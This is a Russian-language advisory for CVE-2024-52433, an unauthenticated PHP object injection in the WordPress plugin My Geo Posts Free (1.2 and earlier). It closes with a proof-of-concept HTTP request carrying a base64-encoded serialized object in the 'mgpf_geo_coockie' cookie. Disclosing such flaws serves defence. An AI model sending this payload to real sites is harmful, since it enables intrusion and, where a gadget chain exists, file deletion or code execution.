CVE-2024-52433

My Geo Posts Free <= 1.2 - Неаутентифицированная PHP-инъекция объектов

Описание

Плагин My Geo Posts Free для WordPress подвержен PHP-инъекции объектов в версиях до 1.2 включительно через десериализацию недоверенных входных данных. Это позволяет неаутентифицированным атакующим внедрить PHP-объект. В уязвимом программном обеспечении нет известной POP-цепочки. Если POP-цепочка присутствует через дополнительный плагин или тему, установленные в целевой системе, это может позволить атакующему удалять произвольные файлы, получать конфиденциальные данные или выполнять код.

Ссылка для скачивания: Скачать my-geo-posts-free версии 1.2

Type: plugin
CVSS Score: 9.8
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE: CVE-2024-52433
Slug: my-geo-posts-free

POC

GET / HTTP/2
Host: wp-dev.ddev.site
Cookie: mgpf_geo_coockie=TzoyMDoiUEhQX09iamVjdF9JbmplY3Rpb24iOjA6e30=